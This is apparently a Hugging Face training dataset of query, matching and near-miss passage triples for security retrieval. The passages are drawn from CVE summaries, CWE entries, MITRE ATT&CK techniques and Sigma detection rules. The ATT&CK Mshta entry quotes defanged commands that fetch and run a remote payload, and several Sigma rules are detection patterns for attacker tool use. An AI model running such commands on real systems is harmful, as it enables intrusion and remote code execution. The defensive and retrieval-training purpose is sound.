alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: CVE similar to CVE-2015-7219
Matching passage: CVE-2015-7219. CWE: CWE-189. CVSS: 5.0. The HTTP/2 implementation in Mozilla Firefox before 43.0 allows remote attackers to cause a denial of service (integer underflow, assertion failure, and application exit) via a malformed PushPromise frame that triggers decompressed-buffer length miscalculation and incorrect memory allocation.
Near-miss passage: CVE-2015-1219. CWE: CWE-189. CVSS: 7.5. Integer overflow in the SkMallocPixelRef::NewAllocate function in core/SkMallocPixelRef.cpp in Skia, as used in Google Chrome before 41.0.2272.76, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors that trigger an attempted allocation of a large amount of memory during WebGL rendering.
Query: risk of Securifi Almond devices with firmware before AL1-R201EXP10-L304-W34 and Almond-2015 devices with firmware before AL2-R088M have a default password of admin for the admin account, w
Matching passage: CVE-2015-2915. CWE: CWE-255. CVSS: 7.300000190734863. Securifi Almond devices with firmware before AL1-R201EXP10-L304-W34 and Almond-2015 devices with firmware before AL2-R088M have a default password of admin for the admin account, which allows remote attackers to obtain web-management access by leveraging the ability to authenticate from the intranet.
Near-miss passage: CVE-2015-8626. CWE: CWE-255. CVSS: 9.800000190734863. The User::randomPassword function in MediaWiki before 1.23.12, 1.24.x before 1.24.5, 1.25.x before 1.25.4, and 1.26.x before 1.26.1 generates passwords smaller than $wgMinimalPasswordLength, which makes it easier for remote attackers to obtain access via a brute-force attack.
Query: patch priority for CVE-2015-6085
Matching passage: CVE-2015-6085. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 10 and 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-6064 and CVE-2015-6084.
Near-miss passage: CVE-2015-5291. CWE: CWE-119. CVSS: 6.800000190734863. Heap-based buffer overflow in PolarSSL 1.x before 1.2.17 and ARM mbed TLS (formerly PolarSSL) 1.3.x before 1.3.14 and 2.x before 2.1.2 allows remote SSL servers to cause a denial of service (client crash) and possibly execute arbitrary code via a long hostname to the server name indication (SNI) extension, which is not properly handled when creating a ClientHello message. NOTE: this identifier has been SPLIT per ADT3 due to different affected version ranges. See CVE-2015-8036 for the session ticket issue that was introduced in 1.3.0.
Query: describe CVE-2015-8107
Matching passage: CVE-2015-8107. CWE: CWE-134. CVSS: 7.800000190734863. Format string vulnerability in GNU a2ps 4.14 allows remote attackers to execute arbitrary code.
Near-miss passage: CVE-2015-2894. CWE: CWE-134. CVSS: 5.300000190734863. Format string vulnerability in the up.time client in Idera Uptime Infrastructure Monitor 6.0 and 7.2 allows remote attackers to cause a denial of service (application crash) via format string specifiers.
Query: describe CVE-2015-8949
Matching passage: CVE-2015-8949. CWE: CWE-416. CVSS: 9.800000190734863. Use-after-free vulnerability in the my_login function in DBD::mysql before 4.033_01 allows attackers to have unspecified impact by leveraging a call to mysql_errno after a failure of my_login.
Near-miss passage: CVE-2015-5095. CWE: CWE-416. CVSS: 10.0. Use-after-free vulnerability in Adobe Reader and Acrobat 10.x before 10.1.15 and 11.x before 11.0.12, Acrobat and Acrobat Reader DC Classic before 2015.006.30060, and Acrobat and Acrobat Reader DC Continuous before 2015.008.20082 on Windows and OS X allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-4448, CVE-2015-5099, CVE-2015-5101, CVE-2015-5111, CVE-2015-5113, and CVE-2015-5114.
Query: what is T1556.002
Matching passage: T1556.002 Password Filter DLL. Tactics: defense impairment, persistence, credential access. Description: Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)
Near-miss passage: T1556.009 Conditional Access Policies. Tactics: defense impairment, persistence, credential access. Description: Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource. For example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.
Query: detection rule: Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency m
Matching passage: Sigma rule: Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency m. Logsource: linux / process_creation. Rule: title: Remove Scheduled Cron Task/Job id: c2e234de-03a3-41e1-b39a-1e56dc17ba67 status: test description: 'Detects usage of the ''crontab'' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible ' references: - https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html author: Nasreddine Bencherchali (Nextron Systems) date: 2022-09-15 tags: - attack.stealth logsource: category: process_creation product: linux detection: selection: Image|endswith: crontab CommandLine|contains: ' -r' condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects the creation of a new service using the "sc.exe" utility.. Logsource: windows / process_creation. Rule: title: New Service Creation Using Sc.EXE id: 85ff530b-261d-48c6-a441-facaa2e81e48 related: - id: c02e96b7-c63a-4c47-bd83-4a9f74afcfb2 type: similar status: test description: Detects the creation of a new service using the "sc.exe" utility. references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community date: 2023-02-20 modified: 2025-09-01 tags: - attack.persistence - attack.privilege-escalation - attack.t1543.003 logsource: category: process_creation product: windows detection: selection: Image|endswith: \sc.exe CommandLine|contains|all: - create - binPath filter_optional_dropbox: ParentImage|startswith: - C:\Program Files (x86)\Dropbox\Client\ - C:\Program Files\Dropbox\Client\ ParentImage|endswith: \Dropbox.exe condition: selection and not 1 of filter_optional_* falsepositives: - Legitimate administrator or user creates a service for legitimate reasons. - Software installation level: low
Query: secure coding against Unchecked Return Value
Matching passage: CWE-252 Unchecked Return Value. The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
Near-miss passage: CWE-48 Path Equivalence: 'file name' (Internal Whitespace). The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
Query: write Sigma for Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also
Matching passage: Sigma rule: Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also. Logsource: azure / riskdetection. Rule: title: Atypical Travel id: 1a41023f-1e70-4026-921a-4d9341a9038e status: test description: Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior. references: - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#atypical-travel - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins author: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo' date: 2023-09-03 tags: - attack.stealth - attack.t1078 - attack.persistence - attack.privilege-escalation - attack.initial-access logsource: product: azure service: riskdetection detection: selection: riskEventType: unlikelyTravel condition: selection falsepositives: - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user. level: high
Near-miss passage: Sigma rule: Detects using WorkFolders.exe to execute an arbitrary control.exe. Logsource: windows / process_creation. Rule: title: Execution via WorkFolders.exe id: 0bbc6369-43e3-453d-9944-cae58821c173 status: test description: Detects using WorkFolders.exe to execute an arbitrary control.exe references: - https://twitter.com/elliotkillick/status/1449812843772227588 author: Maxime Thiebaut (@0xThiebaut) date: 2021-10-21 modified: 2022-12-25 tags: - attack.stealth - attack.t1218 logsource: category: process_creation product: windows detection: selection: Image|endswith: \control.exe ParentImage|endswith: \WorkFolders.exe filter: Image: C:\Windows\System32\control.exe condition: selection and not filter falsepositives: - Legitimate usage of the uncommon Windows Work Folders feature. level: high
Query: telemetry for T1218.005
Matching passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Near-miss passage: T1218.009 Regsvcs/Regasm. Tactics: stealth. Description: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
Query: alert when Detects a highly relevant Antivirus alert that reports APT malware. This event must not be ignored just because the AV h
Matching passage: Sigma rule: Detects a highly relevant Antivirus alert that reports APT malware. This event must not be ignored just because the AV h. Logsource: antivirus. Rule: title: Antivirus - APT Malware Signature id: 101a1877-2cf4-474d-abfd-7f6ac4788d1a status: experimental description: 'Detects a highly relevant Antivirus alert that reports APT malware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. ' references: - https://www.nextron-systems.com/?s=antivirus author: Arnim Rupp (Nextron Systems) date: 2026-06-15 tags: - attack.execution - attack.t1203 - attack.command-and-control - attack.t1219.002 logsource: category: antivirus detection: selection: - Signature|re: - APT\d - ATK\d - UNC\d - UAC\d - Signature|contains: - '[APT]' - APT_ - APT- - BackOrder - BlindingCan - Blizzard - Chollima - Cleaver - Cobra - DarkHotel - Dragon - DTrack - Equation - GiftedCrook - GraphSteel - GreyEnergy - GEnergy - GrimPlant - Hydra - Jackal - Kitten - Kimsuky - Lazar - LightRail - Lotus - Luminous - LumiMoth - Nimbus - Manticore - MiniBike - MiniBrowse - MiniBus - MiniFast - MiniJuke - MiniUpdate - MuddyWater - NukeSped - OilRig - Panda - Sandstorm - SandWorm - Seamonkey - Sleet - SlugResin - SnailResin - Snake - Tempest - Tsunami - Turla - Typhoon - UAC_ - UAC- - UNC_ - UNC- - VinoSiren - Winnti condition: selection falsepositives: - Unlikely level: critical
Near-miss passage: Sigma rule: Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.. Logsource: windows / application. Rule: title: MSSQL XPCmdshell Option Change id: d08dd86f-681e-4a00-a92c-1db218754417 status: test description: 'Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed. ' references: - https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/ - https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/ author: Nasreddine Bencherchali (Nextron Systems) date: 2022-07-12 modified: 2024-06-26 tags: - attack.execution logsource: product: windows service: application detection: selection: Provider_Name|contains: MSSQL EventID: 15457 Data|contains: xp_cmdshell condition: selection falsepositives: - Legitimate enable/disable of the setting - Note that since the event contain the change for both values. This means that this will trigger on both enable and disable level: high
Query: campaign using Office Template Macros
Matching passage: T1137.001 Office Template Macros. Tactics: persistence. Description: Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) Word Normal.dotm location:<br> <code>C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Templates\Normal.dotm</code> Excel Personal.xlsb location:<br> <code>C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code> Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) An adversary may need to enable macros to execute unrestricted depending
Near-miss passage: T1137.004 Outlook Home Page. Tactics: persistence. Description: Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)
Query: vulnerability: Multiple SQL injection vulnerabilities in ICZ MATCHA INVOICE before 2.5.7 allow remote authenticated users to execute arbitrary SQL commands via unspecified vectors.
Matching passage: CVE-2015-5642. CWE: CWE-89. CVSS: 6.5. Multiple SQL injection vulnerabilities in ICZ MATCHA INVOICE before 2.5.7 allow remote authenticated users to execute arbitrary SQL commands via unspecified vectors.
Near-miss passage: CVE-2015-4613. CWE: CWE-89. CVSS: 6.5. SQL injection vulnerability in the backend module in the Developer Log (devlog) extension before 2.11.4 for TYPO3 allows remote editors to execute arbitrary SQL commands via unspecified vectors.
Query: Sigma YAML for windows / ps_script
Matching passage: Sigma rule: Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over. Logsource: windows / ps_script. Rule: title: Testing Usage of Uncommonly Used Port id: adf876b3-f1f8-4aa9-a4e4-a64106feec06 status: test description: 'Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell - https://learn.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps author: frack113 date: 2022-01-23 tags: - attack.command-and-control - attack.t1571 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains|all: - Test-NetConnection - '-ComputerName ' - '-port ' filter: ScriptBlockText|contains: - ' 443 ' - ' 80 ' condition: selection and not filter falsepositives: - Legitimate administrative script level: medium
Near-miss passage: Sigma rule: Detects usage of bitsadmin downloading a file using an URL that contains an IP. Logsource: windows / process_creation. Rule: title: Suspicious Download From Direct IP Via Bitsadmin id: 99c840f2-2012-46fd-9141-c761987550ef related: - id: 90f138c1-f578-4ac3-8c49-eecfd847c8b7 type: similar status: test description: Detects usage of bitsadmin downloading a file using an URL that contains an IP references: - https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin - https://isc.sans.edu/diary/22264 - https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/ - https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/ author: Florian Roth (Nextron Systems) date: 2022-06-28 modified: 2023-02-15 tags: - attack.persistence - attack.execution - attack.stealth - attack.t1197 - attack.s0190 - attack.t1036.003 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \bitsadmin.exe - OriginalFileName: bitsadmin.exe selection_flags: CommandLine|contains: - ' /transfer ' - ' /create ' - ' /addfile ' selection_extension: CommandLine|contains: - ://1 - ://2 - ://3 - ://4 - ://5 - ://6 - ://7 - ://8 - ://9 filter_seven_zip: CommandLine|contains: ://7- condition: all of selection_* and not 1 of filter_* falsepositives: - Unknown level: high regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip/info.yml
Query: CVE similar to CVE-2015-0919
Matching passage: CVE-2015-0919. CWE: CWE-89. CVSS: 7.5. Multiple SQL injection vulnerabilities in the administrative backend in Sefrengo before 1.6.1 allow remote administrators to execute arbitrary SQL commands via the (1) idcat or (2) idclient parameter to backend/main.php.
Near-miss passage: CVE-2015-0782. CWE: CWE-89. CVSS: 9.800000190734863. SQL injection vulnerability in the ScheduleQuery method of the schedule class in Novell ZENworks Configuration Management (ZCM) allows remote attackers to execute arbitrary SQL commands via unspecified vectors.